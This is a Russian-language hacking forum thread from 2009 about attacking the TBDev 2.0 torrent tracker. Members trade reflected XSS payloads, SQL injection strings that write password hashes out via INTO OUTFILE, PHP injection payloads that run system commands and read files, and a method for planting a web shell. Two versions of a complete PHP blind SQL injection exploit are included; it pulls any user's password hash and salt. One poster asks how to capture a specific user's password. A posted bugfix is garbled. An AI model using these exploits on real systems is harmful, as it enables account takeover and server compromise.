ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Трекер-движок TBDev 2.0 (https://forum.antichat.xyz/showthread.php?t=79705)

Arigona 25.01.2009 22:26

Сбрей усы, надень трусы.

Эксплоит уже мало где работает. Только там где ещё про багу не знают...

s_p_a_m 10.02.2009 13:26

Цитата:

Сообщение от pacan4ik
Ну так кто поможет? может кто зделать блок через который залить шел

нафиг этот геморой? есть другой способ, пишеш комент к торренту в виде кода шелла, потом через скулю в мыле интоаутфайл свой комент и шелл готов

S0ulVortex 07.03.2009 20:46

Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
Код:

/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>

Gray_Wolf 08.03.2009 18:52

А через что туда можно залить шелл, имея права СисОпа?

1ce666 11.03.2009 20:04

Цитата:

Сообщение от S0ulVortex
Нашёл уязвимость в движке TBDev v2.0 Yuna Scatari Edition (14.09.2006)
Код:

/viewrequests.php?search=[xss]
фильтрация есть но плохая :)
'></title><script>alert('xss')</script>

Лично у меня нет этого файла , так как в этом файле уязвимость была , на сайте TBDev'a уже есть темка как баги закрывать и какие. Я даже создал тут темку =]

Gray_Wolf 12.03.2009 09:56

Некоторые админы забывают удалить идущий в комплекте с трекером MyBB (www.tracker.site.ru/forums.php), а в нём есть отличная PHP-инъекция.

И вот ещё какой вопрос:
Мне нужно узнать пароль определённого пользователя(брутить нереально), что и где в коде нужно дописать, чтобы у него очистились куки, и при вводе пароля создался файл с пассом.

ILYAtirtir 13.03.2009 04:59

Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)

Nelzone 13.03.2009 11:14

Цитата:

Сообщение от ILYAtirtir
Залейте пожалуста TBDev 2.0 Yuna Scatari Edition(сам двиг),хочу на локалхосте проверить пару вещей.=)

http://rapidshare.com/files/208632185/TBDev.18.05.07_pre_fixed.zip.html

RaMTararam 15.03.2009 13:21

Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??

Floor 22.03.2009 14:12

Вот ещё

/viewrequests.php?sort='></title><script>alert('xss')</script>

mavpa 23.03.2009 19:44

Цитата:

Сообщение от RaMTararam
Мой аккаунт отключили и надо как то занова врубить его...
Новый не регит, выдает что данный ip зареген
Можно ли что либо сделать в данной ситуации??

Сотрей cookies и попрупай опять зарегится

Rostov114 10.04.2009 12:50

По моему не было.

Мод AJAX проверка занятости e-mail и никнейма.

Бажные куски кода:
PHP код:

$res = (@mysql_fetch_row(@sql_query("select count(*) from users where username='$wantusername'"))) or die(mysql_error()); 

и
PHP код:

$res = (@mysql_fetch_row(@sql_query("select count(*) from users where email='$email'"))) or die(mysql_error()); 

Через данные уязвимости можно стырить пассхеш любого пользователя но как показала практика при запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua
Стандартный JS убивает = поэтому создаем на каком нибудь сервере страничку с содержанием
Код:

<form method="POST" action="http://АДРЕС_ТРЕКЕРА/check_signup.php">
<input type="text" name="user name" size="20">
<input type="text" name="emai l" size="20">
<input type="submit" value="go">
</form>

Вставляем в любое из полей SQL запрос и получаем в фаил 1.txt пассхеш.

P.S. При юзании данной уязвимости можно столкнутся с тем что веб сервер "изолирован" и тогда MySQL выдаст ошибку о не возможности сохранить фаил. Поэтому вопрос можно ли как нибудь составить SQL запрос чтобы он пассхеш вывел на экран? :rolleyes:

Qwazar 10.04.2009 16:44

Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.

Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html

Мой сплоит работает по методу описаному в пункте 3.3

foot 23.04.2009 02:03

Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал..

ILYAtirtir 23.04.2009 04:31

Вместе с этим трекером идет станартный форум mybb,там есть php inj
Цитата:

http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];system('dir C:\\');exit;//
ИТД
Можно файлы читать
Цитата:

http://sait.ru/torrent/forum/forumdisplay.php?fid=2
&sortby='];readfile('C:/boot.ini');exit;//
Ну вообщем смотря в каком случае. Можно шелл заюзать.
P.S.Это так если инъекция не прет.:)

Qwazar 23.04.2009 09:58

Цитата:

Сообщение от foot
Qwazar скажи пожалуйста через какие доки моно просунуть SQL inj ... кроме тех что ты дал..

Ищи :) То что я нашёл выше уже устарело, а больше я пока не смотрел.

crazyserega1994 24.04.2009 23:17

Возможно ли сменить пароль если я сижу на торрент акке? Просто нету формы для смены пароля...

Rostov114 25.04.2009 23:45

Цитата:

Сообщение от Qwazar
Если нет вывода, кроме mysql_error, можешь посмотреть мой сплоит, гдето на 1-4 странице, последняя версия. Если есть вывод, то как обычно.

Вообще, ещё раз перечитай (если читал): https://forum.antichat.ru/thread43966.html

Мой сплоит работает по методу описаному в пункте 3.3

:) Ага спасибо..щас на основе твоего сплоита попытаюсь написать под свою багу.

Rostov114 26.04.2009 00:50

При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar.

PHP код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function 
send_xpl($url$xpl){
    global 
$id;
    
$u=parse_url($url);
    
    
$data "action=email&email={$xpl}";
    
$req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
    
$req .= "Host: ".$u['host']."\r\n";
    
$req .= "Content-Length: ".strlen($data)."\r\n";
    
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$req .= "Connection: close\r\n\r\n";
    
$req .= $data;

    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}

function 
xpl($field$condition$pos){
    global 
$id;
    
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+use  rs+where+id=$id),$pos,1))$condition,'1',(select+1+  union+select+2))+--+";
    return 
$xpl;
}

function 
cond($url$field$cond$pos$ch) {
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos))))
        return 
1;
    else
        return 
0;

}

function 
isVulnerable($url) {
    if(
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1))))
        return 
true;
    else
        return 
false;
}

function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}

if(
$argc<2)
{
echo 
"==================\r\n";
echo 
"Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo 
"==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo 
$url.":".$id."\r\n";

if(!
isVulnerable($url))
    die(
"Exploit failed: Target is not vulnerable");

echo 
"Trying to get passhash: ";
for(
$i=1;$i<=32;$i++){    
    
$c getChar($url"passhash"$i47103);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";

echo 
"Trying to get salt: ";
for(
$i=1;$i<=20;$i++){    
    
$c getChar($url"secret"$i);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";


?>

Использовать так же как и сплоит Qwazar-а только в этом сплоите не нужен аккаут зарегестрированого пользователя.

P.S. Для тех кто в танке Exploit failed: Target is not vulnerable - означает что дыру прикрыли.

Qwazar 26.04.2009 01:55

Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)

Rostov114 26.04.2009 13:34

Цитата:

Сообщение от Qwazar
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true :) Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов. :)

:) Угу...исправил.

Rostov114 27.04.2009 01:30

:)
Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

Естественно перед этим происходит проверка на уязвимость обоих методов.

PHP код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function 
send_xpl($url$xpl$type){
    global 
$id;
    
$u=parse_url($url);
    
    switch(
$type)
    {
        case 
'takesignup':
            
$data  "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
            
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
            
$req  "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
        break;
        case 
'check':
            
$data "action=email&email={$xpl}";
            
$req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
        break;
    }

    
$req .= "Host: ".$u['host']."\r\n";
    
$req .= "Content-Length: ".strlen($data)."\r\n";
    
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$req .= "Connection: close\r\n\r\n";
    
$req .= $data;

    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}

function 
xpl($field$condition$pos){
    global 
$id;
    
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+  users  +where+id=$id),$pos,1))$condition,'1',(select+1+un  i  on+select+2))+--+ @ukrnet.ua";
    return 
$xpl;
}

function 
cond($url$field$cond$pos$ch) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos), $type)))
        return 
1;
    else
        return 
0;

}

function 
isVulnerable($url) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'check')))
    {
        echo 
"File check_signup.php absents or not vulnerable.\r\n";
    }
    else
    {
        
$type 'check';
    }
    
    if(!
$type)
    {
        if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'takesignup')))
        {
            die( 
"Exploit failed: Target is not vulnerable." );
        }
        else
        {
            
$type 'takesignup';
        }
    }

}

function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}

if(
$argc<2)
{
echo 
"==================\r\n";
echo 
"Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo 
"==================\r\n";
die();
}
global 
$type;
$url=$argv[1];
$id=$argv[2];

echo 
$url.":".$id."\r\n";

isVulnerable($url);

echo 
"Trying to get passhash: ";
for(
$i=1;$i<=32;$i++){    
    
$c getChar($url"passhash"$i47103);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";

echo 
"Trying to get salt: ";
for(
$i=1;$i<=20;$i++){    
    
$c getChar($url"secret"$i);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";


?>

= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.

Rostov114 06.05.2009 01:06

Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:

http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.

1ce666 06.05.2009 22:35

И лучше закрыть эту шнягу :D

Цитата:

Сообщение от n-sw-bit
BugFix:

файл include/init.php

Заменить
PHP код:

$url explode('/'$_SERVER); 

на
PHP код:

$url explode('/'$_SERVER); 

или на
PHP код:

$url explode('/'htmlspecialchars_uni($_SERVER)); 


(c) n-sw-bit

wildshaman 12.05.2009 19:45

Цитата:

Сообщение от Rostov114
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:

http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.


это ПАССИВНАЯ XSS

злойдядька 30.05.2009 13:30

Цитата:

Сообщение от Rostov114
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....

НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51

Rostov114 02.06.2009 01:27

Цитата:

Сообщение от злойдядька
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51

Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...

yurets 08.06.2009 10:08

Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись
http://waper.ru/file/905247/Безымянный.JPG
Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?

Qwazar 08.06.2009 11:22

yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.

HAXTA4OK 18.06.2009 23:30

вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj

P.S.но все равно решил выложить....

P.S.S уже на сонную голову пишу..мб есть такой пост


Код:

if ($_SERVER["REQUEST_METHOD"] == "POST")
        $ip = $_POST["ip"];
else
        $ip = $_GET["ip"];
if ($ip)
{
        $nip = ip2long($ip);
        if ($nip == -1)
          stderr($tracker_lang['error'], "Bad IP.");
        $res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
        if (mysql_num_rows($res) == 0)
          stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
        else
        {
          $banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
            "<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
          while ($arr = mysql_fetch_assoc($res))
          {
            $first = long2ip($arr["first"]);
            $last = long2ip($arr["last"]);
            $comment = htmlspecialchars($arr["comment"]);
            $banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
          }
          $banstable .= "</table>\n";
          stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
        }
}
stdhead("Проверка IP");

BpoDE POST

Qwazar 18.06.2009 23:52

Цитата:

вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj
Это не уязвимость, просто ошибка разработчиков.

HAXTA4OK 19.06.2009 08:59

http://127.0.0.1/treker/viewoffers.php?filter=

тута крутани =\ что то я не смог довести до ума

Qwazar 19.06.2009 11:31

Цитата:

Сообщение от HAXTA4OK
http://127.0.0.1/treker/viewoffers.php?filter=

тута крутани =\ что то я не смог довести до ума

Молодчина, это слепая скуль.

Код:

/viewoffers.php?filter= AND if(substring(version(),1,1)=5,(select 1 union select 2),1) -- 1
Советую почитать и вникнуть в статью (пункт "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."): https://forum.antichat.ru/thread43966.html

А затем: https://forum.antichat.ru/thread119047.html

Кстати, если есть хоть одна запись в таблице offers, в следующем запросе (у меня строка 98) можно увидеть скулю с выводом (проверь, я не пробовал на практике, но по коду - вывод вроде есть).

HAXTA4OK 19.06.2009 12:03

http://localhost/treker/comment.php?action=check&tid[]=

тоже раскрытие путей))))что то типа твоего)))

HAXTA4OK 19.06.2009 12:40

http://127.0.0.1/treker/invite.php?id=1&type=del

у меня выкинуло внизу раскрытие путей))

Qwazar 19.06.2009 12:54

Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.

Rostov114 20.06.2009 16:17

Цитата:

Сообщение от Qwazar
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.

Хотя их можно отключить 1 функцией...

А за скуль спасибо = )

P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.

foot 22.06.2009 05:00

Цитата:

Сообщение от Rostov114
P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.

Хотелось бы взглянуть... :) тебе плюсик и спасибо...

Qwazar 22.06.2009 14:41

Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.p...postcount=7789

Цитата:

A vulnerability found in the popular bittorrent tracker TBSource code allows an attacker to inject SQL queries and read secret information from the database.
The value of 'choice' passed to the script index.php is not properly sanitized. When a special tailored value is passed by an attacker, full reading access to the database is possible.
Some projects based in TBSource like TBDev and TorrentStrike have been found to be affected by the same vulnerability.
Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат:

Посмотрел, короче будет работать только если:

1) залогиниться
2) юзер хоть раз участвовал в голосовании

Уязвимый запрос:
Код:

sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__);
тогда можно в к примеру сделать так:
Цитата:

http://test1.ru:8012/tbdev/
POST choice=111 and if(substring(version(),1,1)=5,(select 1 union select 2),2)
UPD:
Нашёл источник: "Bug discovered by Emiliano Scavuzzo"

Yuna 24.06.2009 01:27

А это $choice = (int) $_POST["choice"];
if ($CURUSER && $choice >= 0 && $choice < 256) { не спасает? :)


Время: 00:10